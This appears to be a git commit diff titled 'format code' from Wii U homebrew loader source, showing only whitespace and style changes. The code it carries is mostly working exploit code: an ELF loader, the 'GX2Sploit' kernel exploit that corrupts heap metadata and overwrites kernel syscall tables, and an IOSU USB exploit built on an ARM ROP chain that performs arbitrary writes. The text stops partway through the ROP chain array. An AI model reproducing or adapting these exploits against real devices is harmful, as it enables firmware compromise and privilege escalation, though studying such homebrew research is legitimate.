format code

This commit is contained in:
Maschell 2020-07-22 15:12:25 +02:00
parent da8dfaafed
commit 75d940884d
10 changed files with 526 additions and 509 deletions

View File

@ -12,11 +12,10 @@
#include "elf_abi.h" #include "elf_abi.h"
int32_t LoadFileToMem(const char *relativefilepath, char **fileOut, uint32_t *sizeOut) {
int32_t LoadFileToMem(const char *relativefilepath, char **fileOut, uint32_t * sizeOut) {
char path[256]; char path[256];
int result = 0; int result = 0;
char * sdRootPath = ""; char *sdRootPath = "";
if (!WHBMountSdCard()) { if (!WHBMountSdCard()) {
WHBLogPrintf("Failed to mount SD Card..."); WHBLogPrintf("Failed to mount SD Card...");
result = -1; result = -1;
@ -24,9 +23,9 @@ int32_t LoadFileToMem(const char *relativefilepath, char **fileOut, uint32_t * s
} }
sdRootPath = WHBGetSdCardMountPath(); sdRootPath = WHBGetSdCardMountPath();
sprintf(path, "%s/%s", sdRootPath,relativefilepath); sprintf(path, "%s/%s", sdRootPath, relativefilepath);
WHBLogPrintf("Loading file %s.",path); WHBLogPrintf("Loading file %s.", path);
*fileOut = WHBReadWholeFile(path, sizeOut); *fileOut = WHBReadWholeFile(path, sizeOut);
if (!(*fileOut)) { if (!(*fileOut)) {
@ -35,55 +34,56 @@ int32_t LoadFileToMem(const char *relativefilepath, char **fileOut, uint32_t * s
goto exit; goto exit;
} }
exit: exit:
WHBUnmountSdCard(); WHBUnmountSdCard();
return result; return result;
} }
static void InstallMain(void *data_elf); static void InstallMain(void *data_elf);
uint32_t load_loader_elf_from_sd(unsigned char* baseAddress, const char* relativePath) { uint32_t load_loader_elf_from_sd(unsigned char *baseAddress, const char *relativePath) {
char * elf_data = NULL; char *elf_data = NULL;
uint32_t fileSize = 0; uint32_t fileSize = 0;
if(LoadFileToMem(relativePath, &elf_data, &fileSize) != 0) { if (LoadFileToMem(relativePath, &elf_data, &fileSize) != 0) {
return 0; return 0;
} }
InstallMain(elf_data); InstallMain(elf_data);
Elf32_Ehdr* ehdr = ( Elf32_Ehdr*)elf_data; Elf32_Ehdr *ehdr = (Elf32_Ehdr *) elf_data;
uint32_t res = ehdr->e_entry; uint32_t res = ehdr->e_entry;
MEMFreeToDefaultHeap((void*)elf_data); MEMFreeToDefaultHeap((void *) elf_data);
return res; return res;
} }
static unsigned int get_section(unsigned char *data, const char *name, unsigned int * size, unsigned int * addr, int fail_on_not_found) { static unsigned int get_section(unsigned char *data, const char *name, unsigned int *size, unsigned int *addr, int fail_on_not_found) {
Elf32_Ehdr *ehdr = (Elf32_Ehdr *) data; Elf32_Ehdr *ehdr = (Elf32_Ehdr *) data;
if ( !data if (!data
|| !IS_ELF (*ehdr) || !IS_ELF (*ehdr)
|| (ehdr->e_type != ET_EXEC) || (ehdr->e_type != ET_EXEC)
|| (ehdr->e_machine != EM_PPC)) { || (ehdr->e_machine != EM_PPC)) {
OSFatal("Invalid elf file"); OSFatal("Invalid elf file");
} }
Elf32_Shdr *shdr = (Elf32_Shdr *) (data + ehdr->e_shoff); Elf32_Shdr *shdr = (Elf32_Shdr *) (data + ehdr->e_shoff);
int i; int i;
for(i = 0; i < ehdr->e_shnum; i++) { for (i = 0; i < ehdr->e_shnum; i++) {
const char *section_name = ((const char*)data) + shdr[ehdr->e_shstrndx].sh_offset + shdr[i].sh_name; const char *section_name = ((const char *) data) + shdr[ehdr->e_shstrndx].sh_offset + shdr[i].sh_name;
if(strcmp(section_name, name) == 0) { if (strcmp(section_name, name) == 0) {
if(addr) if (addr)
*addr = shdr[i].sh_addr; *addr = shdr[i].sh_addr;
if(size) if (size)
*size = shdr[i].sh_size; *size = shdr[i].sh_size;
return shdr[i].sh_offset; return shdr[i].sh_offset;
} }
} }
if(fail_on_not_found) if (fail_on_not_found)
OSFatal((char*)name); OSFatal((char *) name);
return 0; return 0;
} }
@ -98,11 +98,11 @@ static void InstallMain(void *data_elf) {
unsigned int section_offset = get_section(data_elf, ".text", &main_text_len, &main_text_addr, 1); unsigned int section_offset = get_section(data_elf, ".text", &main_text_len, &main_text_addr, 1);
unsigned char *main_text = data_elf + section_offset; unsigned char *main_text = data_elf + section_offset;
/* Copy main .text to memory */ /* Copy main .text to memory */
if(section_offset > 0) { if (section_offset > 0) {
WHBLogPrintf("%08X %08X %d", main_text_addr, main_text, main_text_len); WHBLogPrintf("%08X %08X %d", main_text_addr, main_text, main_text_len);
memcpy((void*)(main_text_addr), (void *)main_text, main_text_len); memcpy((void *) (main_text_addr), (void *) main_text, main_text_len);
DCFlushRange((void*)main_text_addr, main_text_len); DCFlushRange((void *) main_text_addr, main_text_len);
ICInvalidateRange((void*)main_text_addr, main_text_len); ICInvalidateRange((void *) main_text_addr, main_text_len);
} }
@ -110,12 +110,12 @@ static void InstallMain(void *data_elf) {
unsigned int main_rodata_addr = 0; unsigned int main_rodata_addr = 0;
unsigned int main_rodata_len = 0; unsigned int main_rodata_len = 0;
section_offset = get_section(data_elf, ".rodata", &main_rodata_len, &main_rodata_addr, 0); section_offset = get_section(data_elf, ".rodata", &main_rodata_len, &main_rodata_addr, 0);
if(section_offset > 0) { if (section_offset > 0) {
unsigned char *main_rodata = data_elf + section_offset; unsigned char *main_rodata = data_elf + section_offset;
/* Copy main rodata to memory */ /* Copy main rodata to memory */
memcpy((void*)(main_rodata_addr), (void *)main_rodata, main_rodata_len); memcpy((void *) (main_rodata_addr), (void *) main_rodata, main_rodata_len);
DCFlushRange((void*)main_rodata_addr, main_rodata_len); DCFlushRange((void *) main_rodata_addr, main_rodata_len);
ICInvalidateRange((void*)main_rodata_addr, main_rodata_len); ICInvalidateRange((void *) main_rodata_addr, main_rodata_len);
} }
@ -123,24 +123,24 @@ static void InstallMain(void *data_elf) {
unsigned int main_data_addr = 0; unsigned int main_data_addr = 0;
unsigned int main_data_len = 0; unsigned int main_data_len = 0;
section_offset = get_section(data_elf, ".data", &main_data_len, &main_data_addr, 0); section_offset = get_section(data_elf, ".data", &main_data_len, &main_data_addr, 0);
if(section_offset > 0) { if (section_offset > 0) {
unsigned char *main_data = data_elf + section_offset; unsigned char *main_data = data_elf + section_offset;
/* Copy main data to memory */ /* Copy main data to memory */
memcpy((void*)(main_data_addr), (void *)main_data, main_data_len); memcpy((void *) (main_data_addr), (void *) main_data, main_data_len);
DCFlushRange((void*)main_data_addr, main_data_len); DCFlushRange((void *) main_data_addr, main_data_len);
ICInvalidateRange((void*)main_data_addr, main_data_len); ICInvalidateRange((void *) main_data_addr, main_data_len);
} }
// get the .bss section // get the .bss section
unsigned int main_bss_addr = 0; unsigned int main_bss_addr = 0;
unsigned int main_bss_len = 0; unsigned int main_bss_len = 0;
section_offset = get_section(data_elf, ".bss", &main_bss_len, &main_bss_addr, 0); section_offset = get_section(data_elf, ".bss", &main_bss_len, &main_bss_addr, 0);
if(section_offset > 0) { if (section_offset > 0) {
unsigned char *main_bss = data_elf + section_offset; unsigned char *main_bss = data_elf + section_offset;
/* Copy main data to memory */ /* Copy main data to memory */
memcpy((void*)(main_bss_addr), (void *)main_bss, main_bss_len); memcpy((void *) (main_bss_addr), (void *) main_bss, main_bss_len);
DCFlushRange((void*)main_bss_addr, main_bss_len); DCFlushRange((void *) main_bss_addr, main_bss_len);
ICInvalidateRange((void*)main_bss_addr, main_bss_len); ICInvalidateRange((void *) main_bss_addr, main_bss_len);
} }
} }

View File

@ -1,5 +1,5 @@
#ifndef ELF_LOADING_H #ifndef ELF_LOADING_H
#define ELF_LOADING_H #define ELF_LOADING_H
#include <stdint.h> #include <stdint.h>
@ -7,12 +7,12 @@
extern "C" { extern "C" {
#endif #endif
int32_t LoadFileToMem(const char *relativefilepath, char **fileOut, uint32_t * sizeOut); int32_t LoadFileToMem(const char *relativefilepath, char **fileOut, uint32_t *sizeOut);
uint32_t load_loader_elf_from_sd(unsigned char* baseAddress, const char* relativePath); uint32_t load_loader_elf_from_sd(unsigned char *baseAddress, const char *relativePath);
#ifdef __cplusplus #ifdef __cplusplus
} }
#endif #endif
#endif /* ELF_LOADING_H */ #endif /* ELF_LOADING_H */

View File

@ -17,21 +17,20 @@
#include "utils/utils.h" #include "utils/utils.h"
#define JIT_ADDRESS 0x01800000 #define JIT_ADDRESS 0x01800000
#define KERN_HEAP 0xFF200000 #define KERN_HEAP 0xFF200000
#define KERN_HEAP_PHYS 0x1B800000 #define KERN_HEAP_PHYS 0x1B800000
#define KERN_CODE_READ 0xFFF023D4
#define KERN_CODE_WRITE 0xFFF023F4
#define KERN_DRVPTR 0xFFEAB530
#define KERN_ADDRESS_TBL 0xFFEAB7A0
#define KERN_CODE_READ 0xFFF023D4 #define STARTID_OFFSET 0x08
#define KERN_CODE_WRITE 0xFFF023F4 #define METADATA_OFFSET 0x14
#define KERN_DRVPTR 0xFFEAB530 #define METADATA_SIZE 0x10
#define KERN_ADDRESS_TBL 0xFFEAB7A0
#define STARTID_OFFSET 0x08
#define METADATA_OFFSET 0x14
#define METADATA_SIZE 0x10
#define BAT_SETUP_HOOK_ADDR 0xFFF1D624 #define BAT_SETUP_HOOK_ADDR 0xFFF1D624
#define BAT_SETUP_HOOK_ENTRY 0x00880000 #define BAT_SETUP_HOOK_ENTRY 0x00880000
@ -63,7 +62,7 @@ static void *find_gadget(uint32_t code[], uint32_t length, uint32_t gadgets_star
uint32_t *ptr; uint32_t *ptr;
/* Search code before JIT area first */ /* Search code before JIT area first */
for (ptr = (uint32_t*)gadgets_start; ptr != (uint32_t*)JIT_ADDRESS; ptr++) { for (ptr = (uint32_t *) gadgets_start; ptr != (uint32_t *) JIT_ADDRESS; ptr++) {
if (!memcmp(ptr, &code[0], length)) if (!memcmp(ptr, &code[0], length))
return ptr; return ptr;
} }
@ -75,22 +74,22 @@ static void *find_gadget(uint32_t code[], uint32_t length, uint32_t gadgets_star
/* Chadderz's kernel write function */ /* Chadderz's kernel write function */
void __attribute__((noinline)) kern_write(const void *addr, uint32_t value) { void __attribute__((noinline)) kern_write(const void *addr, uint32_t value) {
asm volatile ( asm volatile (
"li 3,1\n" "li 3,1\n"
"li 4,0\n" "li 4,0\n"
"mr 5,%1\n" "mr 5,%1\n"
"li 6,0\n" "li 6,0\n"
"li 7,0\n" "li 7,0\n"
"lis 8,1\n" "lis 8,1\n"
"mr 9,%0\n" "mr 9,%0\n"
"mr %1,1\n" "mr %1,1\n"
"li 0,0x3500\n" "li 0,0x3500\n"
"sc\n" "sc\n"
"nop\n" "nop\n"
"mr 1,%1\n" "mr 1,%1\n"
: :
: "r"(addr), "r"(value) : "r"(addr), "r"(value)
: "memory", "ctr", "lr", "0", "3", "4", "5", "6", "7", "8", "9", "10", : "memory", "ctr", "lr", "0", "3", "4", "5", "6", "7", "8", "9", "10",
"11", "12" "11", "12"
); );
} }
@ -101,14 +100,14 @@ int exploitThread(int argc, char **argv) {
OSDynLoad_Acquire("gx2.rpl", &gx2_handle); OSDynLoad_Acquire("gx2.rpl", &gx2_handle);
void (*pGX2SetSemaphore)(uint64_t *sem, int action); void (*pGX2SetSemaphore)(uint64_t *sem, int action);
OSDynLoad_FindExport(gx2_handle, 0, "GX2SetSemaphore", (void**)&pGX2SetSemaphore); OSDynLoad_FindExport(gx2_handle, 0, "GX2SetSemaphore", (void **) &pGX2SetSemaphore);
uint32_t set_semaphore = ((uint32_t)pGX2SetSemaphore) + 0x2C; uint32_t set_semaphore = ((uint32_t) pGX2SetSemaphore) + 0x2C;
uint32_t gx2_init_attributes[9]; uint32_t gx2_init_attributes[9];
uint8_t *gx2CommandBuffer = (uint8_t*)memalign(0x40, 0x400000); uint8_t *gx2CommandBuffer = (uint8_t *) memalign(0x40, 0x400000);
gx2_init_attributes[0] = 1; gx2_init_attributes[0] = 1;
gx2_init_attributes[1] = (uint32_t)gx2CommandBuffer; gx2_init_attributes[1] = (uint32_t) gx2CommandBuffer;
gx2_init_attributes[2] = 2; gx2_init_attributes[2] = 2;
gx2_init_attributes[3] = 0x400000; gx2_init_attributes[3] = 0x400000;
gx2_init_attributes[4] = 7; gx2_init_attributes[4] = 7;
@ -119,20 +118,20 @@ int exploitThread(int argc, char **argv) {
GX2Init(gx2_init_attributes); //don't actually know if this is necessary? so temp? (from loadiine or hbl idk) GX2Init(gx2_init_attributes); //don't actually know if this is necessary? so temp? (from loadiine or hbl idk)
/* Allocate space for DRVHAX */ /* Allocate space for DRVHAX */
uint32_t *drvhax = (uint32_t*) OSAllocFromSystem(0x4c, 4); uint32_t *drvhax = (uint32_t *) OSAllocFromSystem(0x4c, 4);
/* Set the kernel heap metadata entry */ /* Set the kernel heap metadata entry */
uint32_t *metadata = (uint32_t*) (KERN_HEAP + METADATA_OFFSET + (0x02000000 * METADATA_SIZE)); uint32_t *metadata = (uint32_t *) (KERN_HEAP + METADATA_OFFSET + (0x02000000 * METADATA_SIZE));
metadata[0] = (uint32_t)drvhax; metadata[0] = (uint32_t) drvhax;
metadata[1] = (uint32_t)-0x4c; metadata[1] = (uint32_t) -0x4c;
metadata[2] = (uint32_t)-1; metadata[2] = (uint32_t) -1;
metadata[3] = (uint32_t)-1; metadata[3] = (uint32_t) -1;
/* Find stuff */ /* Find stuff */
uint32_t gx2data[] = {0xfc2a0000}; uint32_t gx2data[] = {0xfc2a0000};
uint32_t gx2data_addr = (uint32_t) find_gadget(gx2data, 0x04, 0x10000000); uint32_t gx2data_addr = (uint32_t) find_gadget(gx2data, 0x04, 0x10000000);
uint32_t doflush[] = {0xba810008, 0x8001003c, 0x7c0803a6, 0x38210038, 0x4e800020, 0x9421ffe0, 0xbf61000c, 0x7c0802a6, 0x7c7e1b78, 0x7c9f2378, 0x90010024}; uint32_t doflush[] = {0xba810008, 0x8001003c, 0x7c0803a6, 0x38210038, 0x4e800020, 0x9421ffe0, 0xbf61000c, 0x7c0802a6, 0x7c7e1b78, 0x7c9f2378, 0x90010024};
void (*do_flush)(uint32_t arg0, uint32_t arg1) = (void (*)(uint32_t,uint32_t)) find_gadget(doflush, 0x2C, 0x01000000) + 0x14; void (*do_flush)(uint32_t arg0, uint32_t arg1) = (void (*)(uint32_t, uint32_t)) find_gadget(doflush, 0x2C, 0x01000000) + 0x14;
/* Modify a next ptr on the heap */ /* Modify a next ptr on the heap */
uint32_t kpaddr = KERN_HEAP_PHYS + STARTID_OFFSET; uint32_t kpaddr = KERN_HEAP_PHYS + STARTID_OFFSET;
@ -148,44 +147,46 @@ int exploitThread(int argc, char **argv) {
/* Use DRVHAX to install the read and write syscalls */ /* Use DRVHAX to install the read and write syscalls */
uint32_t syscalls[2] = {KERN_CODE_READ, KERN_CODE_WRITE}; uint32_t syscalls[2] = {KERN_CODE_READ, KERN_CODE_WRITE};
DCFlushRange(syscalls, 0x04*2); DCFlushRange(syscalls, 0x04 * 2);
/* Modify its save area to point to the kernel syscall table */ /* Modify its save area to point to the kernel syscall table */
drvhax[0x44/4] = KERN_SYSCALL_TBL_1 + (0x34 * 4); drvhax[0x44 / 4] = KERN_SYSCALL_TBL_1 + (0x34 * 4);
CopyToSaveArea(drvname, 6, syscalls, 8); CopyToSaveArea(drvname, 6, syscalls, 8);
drvhax[0x44/4] = KERN_SYSCALL_TBL_2 + (0x34 * 4); drvhax[0x44 / 4] = KERN_SYSCALL_TBL_2 + (0x34 * 4);
CopyToSaveArea(drvname, 6, syscalls, 8); CopyToSaveArea(drvname, 6, syscalls, 8);
drvhax[0x44/4] = KERN_SYSCALL_TBL_3 + (0x34 * 4); drvhax[0x44 / 4] = KERN_SYSCALL_TBL_3 + (0x34 * 4);
CopyToSaveArea(drvname, 6, syscalls, 8); CopyToSaveArea(drvname, 6, syscalls, 8);
drvhax[0x44/4] = KERN_SYSCALL_TBL_4 + (0x34 * 4); drvhax[0x44 / 4] = KERN_SYSCALL_TBL_4 + (0x34 * 4);
CopyToSaveArea(drvname, 6, syscalls, 8); CopyToSaveArea(drvname, 6, syscalls, 8);
drvhax[0x44/4] = KERN_SYSCALL_TBL_5 + (0x34 * 4); drvhax[0x44 / 4] = KERN_SYSCALL_TBL_5 + (0x34 * 4);
CopyToSaveArea(drvname, 6, syscalls, 8); CopyToSaveArea(drvname, 6, syscalls, 8);
/* Clean up the heap and driver list so we can exit */ /* Clean up the heap and driver list so we can exit */
kern_write((void*)(KERN_HEAP + STARTID_OFFSET), 0); kern_write((void *) (KERN_HEAP + STARTID_OFFSET), 0);
kern_write((void*)KERN_DRVPTR, drvhax[0x48/4]); kern_write((void *) KERN_DRVPTR, drvhax[0x48 / 4]);
// Install CopyData syscall // Install CopyData syscall
kern_write((void*)(KERN_SYSCALL_TBL_1 + (0x25 * 4)), (uint32_t)0x1800000); kern_write((void *) (KERN_SYSCALL_TBL_1 + (0x25 * 4)), (uint32_t) 0x1800000);
kern_write((void*)(KERN_SYSCALL_TBL_2 + (0x25 * 4)), (uint32_t)0x1800000); kern_write((void *) (KERN_SYSCALL_TBL_2 + (0x25 * 4)), (uint32_t) 0x1800000);
kern_write((void*)(KERN_SYSCALL_TBL_3 + (0x25 * 4)), (uint32_t)0x1800000); kern_write((void *) (KERN_SYSCALL_TBL_3 + (0x25 * 4)), (uint32_t) 0x1800000);
kern_write((void*)(KERN_SYSCALL_TBL_4 + (0x25 * 4)), (uint32_t)0x1800000); kern_write((void *) (KERN_SYSCALL_TBL_4 + (0x25 * 4)), (uint32_t) 0x1800000);
kern_write((void*)(KERN_SYSCALL_TBL_5 + (0x25 * 4)), (uint32_t)0x1800000); kern_write((void *) (KERN_SYSCALL_TBL_5 + (0x25 * 4)), (uint32_t) 0x1800000);
/* clean shutdown */ /* clean shutdown */
GX2Shutdown(); GX2Shutdown();
free(gx2CommandBuffer); free(gx2CommandBuffer);
return 0; return 0;
} }
void KernelWriteU32(uint32_t addr, uint32_t value); void KernelWriteU32(uint32_t addr, uint32_t value);
extern "C" void SC_KernelCopyData(uint32_t dst, uint32_t src, uint32_t len); extern "C" void SC_KernelCopyData(uint32_t dst, uint32_t src, uint32_t len);
void KernelWrite(uint32_t addr, const void *data, uint32_t length) { void KernelWrite(uint32_t addr, const void *data, uint32_t length) {
// This is a hacky workaround, but currently it only works this way. ("data" is always on the stack, so maybe a problem with mapping values from the JIT area?) // This is a hacky workaround, but currently it only works this way. ("data" is always on the stack, so maybe a problem with mapping values from the JIT area?)
// further testing required. // further testing required.
for(int32_t i = 0; i<length; i +=4) { for (int32_t i = 0; i < length; i += 4) {
KernelWriteU32(addr + i, *(uint32_t*)(data +i)); KernelWriteU32(addr + i, *(uint32_t *) (data + i));
} }
} }
@ -194,12 +195,12 @@ void KernelWriteU32(uint32_t addr, uint32_t value) {
DCFlushRange(&value, 4); DCFlushRange(&value, 4);
uint32_t dst = (uint32_t) OSEffectiveToPhysical(addr); uint32_t dst = (uint32_t) OSEffectiveToPhysical(addr);
uint32_t src = (uint32_t) OSEffectiveToPhysical((uint32_t)&value); uint32_t src = (uint32_t) OSEffectiveToPhysical((uint32_t) &value);
SC_KernelCopyData(dst, src, 4); SC_KernelCopyData(dst, src, 4);
DCFlushRange((void *)addr, 4); DCFlushRange((void *) addr, 4);
ICInvalidateRange((void *)addr, 4); ICInvalidateRange((void *) addr, 4);
} }
@ -208,7 +209,7 @@ void KernelWriteU32FixedAddr(uint32_t addr, uint32_t value) {
DCFlushRange(&value, 4); DCFlushRange(&value, 4);
uint32_t dst = (uint32_t) addr; uint32_t dst = (uint32_t) addr;
uint32_t src = (uint32_t) OSEffectiveToPhysical((uint32_t)&value); uint32_t src = (uint32_t) OSEffectiveToPhysical((uint32_t) &value);
SC_KernelCopyData(dst, src, 4); SC_KernelCopyData(dst, src, 4);
} }
@ -239,29 +240,29 @@ extern "C" void SC_0x36_SETBATS(void);
int DoKernelExploit(void) { int DoKernelExploit(void) {
WHBLogPrintf("Running GX2Sploit"); WHBLogPrintf("Running GX2Sploit");
/* Make a thread to modify the semaphore */ /* Make a thread to modify the semaphore */
OSThread *thread = (OSThread*)memalign(8, 0x1000); OSThread *thread = (OSThread *) memalign(8, 0x1000);
uint8_t *stack = (uint8_t*)memalign(0x40, 0x2000); uint8_t *stack = (uint8_t *) memalign(0x40, 0x2000);
OSSwitchSecCodeGenMode(0); OSSwitchSecCodeGenMode(0);
memcpy((void*)0x1800000, (void*)&SCKernelCopyData, 0x100); memcpy((void *) 0x1800000, (void *) &SCKernelCopyData, 0x100);
unsigned int setIBAT0Addr = 0x1800200; unsigned int setIBAT0Addr = 0x1800200;
unsigned int * curAddr = (uint32_t*) setIBAT0Addr; unsigned int *curAddr = (uint32_t *) setIBAT0Addr;
curAddr[0] = 0x7C0006AC; curAddr[0] = 0x7C0006AC;
curAddr[1] = 0x4C00012C; curAddr[1] = 0x4C00012C;
curAddr[2] = 0x7C7083A6; curAddr[2] = 0x7C7083A6;
curAddr[3] = 0x7C9183A6; curAddr[3] = 0x7C9183A6;
curAddr[4] = 0x7C0006AC; curAddr[4] = 0x7C0006AC;
curAddr[5] = 0x4C00012C; curAddr[5] = 0x4C00012C;
curAddr[6] = 0x4E800020; curAddr[6] = 0x4E800020;
DCFlushRange((void*)0x1800000, 0x1000); DCFlushRange((void *) 0x1800000, 0x1000);
ICInvalidateRange((void*)0x1800000, 0x1000); ICInvalidateRange((void *) 0x1800000, 0x1000);
OSSwitchSecCodeGenMode(1); OSSwitchSecCodeGenMode(1);
if (OSCreateThread(thread, (OSThreadEntryPointFn)exploitThread, 0, NULL, stack + 0x2000, 0x2000, 0, 0x1) == 0) { if (OSCreateThread(thread, (OSThreadEntryPointFn) exploitThread, 0, NULL, stack + 0x2000, 0x2000, 0, 0x1) == 0) {
OSFatal("Failed to create thread"); OSFatal("Failed to create thread");
} }
@ -271,10 +272,10 @@ int DoKernelExploit(void) {
free(stack); free(stack);
unsigned char backupBuffer[0x40]; unsigned char backupBuffer[0x40];
uint32_t targetBuffer[0x40/4]; uint32_t targetBuffer[0x40 / 4];
uint32_t targetAddress = 0x017FF000; uint32_t targetAddress = 0x017FF000;
KernelWrite((uint32_t) backupBuffer, (void*) 0x017FF000, 0x40); KernelWrite((uint32_t) backupBuffer, (void *) 0x017FF000, 0x40);
targetBuffer[0] = 0x7c7082a6; // mfspr r3, 528 targetBuffer[0] = 0x7c7082a6; // mfspr r3, 528
targetBuffer[1] = 0x60630003; // ori r3, r3, 0x03 targetBuffer[1] = 0x60630003; // ori r3, r3, 0x03
@ -284,26 +285,26 @@ int DoKernelExploit(void) {
targetBuffer[5] = 0x7c7283a6; // mtspr 530, r3 targetBuffer[5] = 0x7c7283a6; // mtspr 530, r3
targetBuffer[6] = 0x7c0006ac; // eieio targetBuffer[6] = 0x7c0006ac; // eieio
targetBuffer[7] = 0x4c00012c; // isync targetBuffer[7] = 0x4c00012c; // isync
targetBuffer[8] = 0x3c600000 | (((uint32_t)SCSetupIBAT4DBAT5) >> 16); // lis r3, setup_syscall@h targetBuffer[8] = 0x3c600000 | (((uint32_t) SCSetupIBAT4DBAT5) >> 16); // lis r3, setup_syscall@h
targetBuffer[9] = 0x60630000 | (((uint32_t)SCSetupIBAT4DBAT5) & 0xFFFF); // ori r3, r3, setup_syscall@l targetBuffer[9] = 0x60630000 | (((uint32_t) SCSetupIBAT4DBAT5) & 0xFFFF); // ori r3, r3, setup_syscall@l
targetBuffer[10] = 0x7c6903a6; // mtctr r3 targetBuffer[10] = 0x7c6903a6; // mtctr r3
targetBuffer[11] = 0x4e800420; // bctr targetBuffer[11] = 0x4e800420; // bctr
DCFlushRange(targetBuffer, sizeof(targetBuffer)); DCFlushRange(targetBuffer, sizeof(targetBuffer));
KernelWrite((uint32_t) targetAddress, (void*) targetBuffer, 0x40); KernelWrite((uint32_t) targetAddress, (void *) targetBuffer, 0x40);
/* set our setup syscall to an unused position */ /* set our setup syscall to an unused position */
kern_write((void*)(KERN_SYSCALL_TBL_1 + (0x36 * 4)), targetAddress); kern_write((void *) (KERN_SYSCALL_TBL_1 + (0x36 * 4)), targetAddress);
kern_write((void*)(KERN_SYSCALL_TBL_2 + (0x36 * 4)), targetAddress); kern_write((void *) (KERN_SYSCALL_TBL_2 + (0x36 * 4)), targetAddress);
kern_write((void*)(KERN_SYSCALL_TBL_3 + (0x36 * 4)), targetAddress); kern_write((void *) (KERN_SYSCALL_TBL_3 + (0x36 * 4)), targetAddress);
kern_write((void*)(KERN_SYSCALL_TBL_4 + (0x36 * 4)), targetAddress); kern_write((void *) (KERN_SYSCALL_TBL_4 + (0x36 * 4)), targetAddress);
kern_write((void*)(KERN_SYSCALL_TBL_5 + (0x36 * 4)), targetAddress); kern_write((void *) (KERN_SYSCALL_TBL_5 + (0x36 * 4)), targetAddress);
/* run our kernel code :) */ /* run our kernel code :) */
SC_0x36_SETBATS(); SC_0x36_SETBATS();
/* repair data */ /* repair data */
KernelWrite(targetAddress, backupBuffer, sizeof(backupBuffer)); KernelWrite(targetAddress, backupBuffer, sizeof(backupBuffer));
DCFlushRange((void*)targetAddress, sizeof(backupBuffer)); DCFlushRange((void *) targetAddress, sizeof(backupBuffer));
WHBLogPrintf("GX2Sploit done"); WHBLogPrintf("GX2Sploit done");
return 1; return 1;
} }

View File

@ -20,11 +20,12 @@ extern const uint8_t launch_image_tga[];
extern const uint32_t launch_image_tga_size; extern const uint32_t launch_image_tga_size;
static void uhs_exploit_init(int uhs_handle); static void uhs_exploit_init(int uhs_handle);
static int uhs_write32(int uhs_handle, int arm_addr, int val); static int uhs_write32(int uhs_handle, int arm_addr, int val);
//!------Variables used in exploit------ //!------Variables used in exploit------
static int *pretend_root_hub = (int*)0xF5003ABC; static int *pretend_root_hub = (int *) 0xF5003ABC;
static int *ayylmao = (int*)0xF4500000; static int *ayylmao = (int *) 0xF4500000;
//!------------------------------------- //!-------------------------------------
typedef struct __attribute__((packed)) { typedef struct __attribute__((packed)) {
@ -38,280 +39,280 @@ typedef struct __attribute__((packed)) {
/* ROP CHAIN STARTS HERE (0x1015BD78) */ /* ROP CHAIN STARTS HERE (0x1015BD78) */
static const int final_chain[] = { static const int final_chain[] = {
0x101236f3, // 0x00 POP {R1-R7,PC} 0x101236f3, // 0x00 POP {R1-R7,PC}
0x0, // 0x04 arg 0x0, // 0x04 arg
0x0812974C, // 0x08 stackptr CMP R3, #1; STREQ R1, [R12]; BX LR 0x0812974C, // 0x08 stackptr CMP R3, #1; STREQ R1, [R12]; BX LR
0x68, // 0x0C stacksize 0x68, // 0x0C stacksize
0x10101638, // 0x10 0x10101638, // 0x10
0x0, // 0x14 0x0, // 0x14
0x0, // 0x18 0x0, // 0x18
0x0, // 0x1C 0x0, // 0x1C
0x1010388C, // 0x20 CMP R3, #0; MOV R0, R4; LDMNEFD SP!, {R4,R5,PC} 0x1010388C, // 0x20 CMP R3, #0; MOV R0, R4; LDMNEFD SP!, {R4,R5,PC}
0x0, // 0x24 0x0, // 0x24
0x0, // 0x28 0x0, // 0x28
0x1012CFEC, // 0x2C MOV LR, R0; MOV R0, LR; ADD SP, SP, #8; LDMFD SP!, {PC} 0x1012CFEC, // 0x2C MOV LR, R0; MOV R0, LR; ADD SP, SP, #8; LDMFD SP!, {PC}
0x0, // 0x30 0x0, // 0x30
0x0, // 0x34 0x0, // 0x34
IOS_CREATETHREAD, // 0x38 IOS_CREATETHREAD, // 0x38
0x1, // 0x3C 0x1, // 0x3C
0x2, // 0x40 0x2, // 0x40
0x10123a9f, // 0x44 POP {R0,R1,R4,PC} 0x10123a9f, // 0x44 POP {R0,R1,R4,PC}
REPLACE_SYSCALL + 0x00, // 0x48 address: the beginning of syscall_0x1a (IOS_GetUpTime64) REPLACE_SYSCALL + 0x00, // 0x48 address: the beginning of syscall_0x1a (IOS_GetUpTime64)
0xE92D4010, // 0x4C value: PUSH {R4,LR} 0xE92D4010, // 0x4C value: PUSH {R4,LR}
0x0, // 0x50 0x0, // 0x50
0x10123a8b, // 0x54 POP {R3,R4,PC} 0x10123a8b, // 0x54 POP {R3,R4,PC}
0x1, // 0x58 R3 must be 1 for the arbitrary write 0x1, // 0x58 R3 must be 1 for the arbitrary write
0x0, // 0x5C 0x0, // 0x5C
0x1010CD18, // 0x60 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} 0x1010CD18, // 0x60 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
0x0, // 0x64 0x0, // 0x64
0x0, // 0x68 0x0, // 0x68
0x1012EE64, // 0x6C set_panic_behavior (arbitrary write) 0x1012EE64, // 0x6C set_panic_behavior (arbitrary write)
0x0, // 0x70 0x0, // 0x70
0x0, // 0x74 0x0, // 0x74
0x10123a9f, // 0x78 POP {R0,R1,R4,PC} 0x10123a9f, // 0x78 POP {R0,R1,R4,PC}
REPLACE_SYSCALL + 0x04, // 0x7C address: the beginning of syscall_0x1a (IOS_GetUpTime64) REPLACE_SYSCALL + 0x04, // 0x7C address: the beginning of syscall_0x1a (IOS_GetUpTime64)
0xE1A04000, // 0x80 value: MOV R4, R0 0xE1A04000, // 0x80 value: MOV R4, R0
0x0, // 0x84 0x0, // 0x84
0x10123a8b, // 0x88 POP {R3,R4,PC} 0x10123a8b, // 0x88 POP {R3,R4,PC}
0x1, // 0x8C R3 must be 1 for the arbitrary write 0x1, // 0x8C R3 must be 1 for the arbitrary write
0x0, // 0x90 0x0, // 0x90
0x1010CD18, // 0x94 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} 0x1010CD18, // 0x94 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
0x0, // 0x98 0x0, // 0x98
0x0, // 0x9C 0x0, // 0x9C
0x1012EE64, // 0xA0 set_panic_behavior (arbitrary write) 0x1012EE64, // 0xA0 set_panic_behavior (arbitrary write)
0x0, // 0xA4 0x0, // 0xA4
0x0, // 0xA8 0x0, // 0xA8
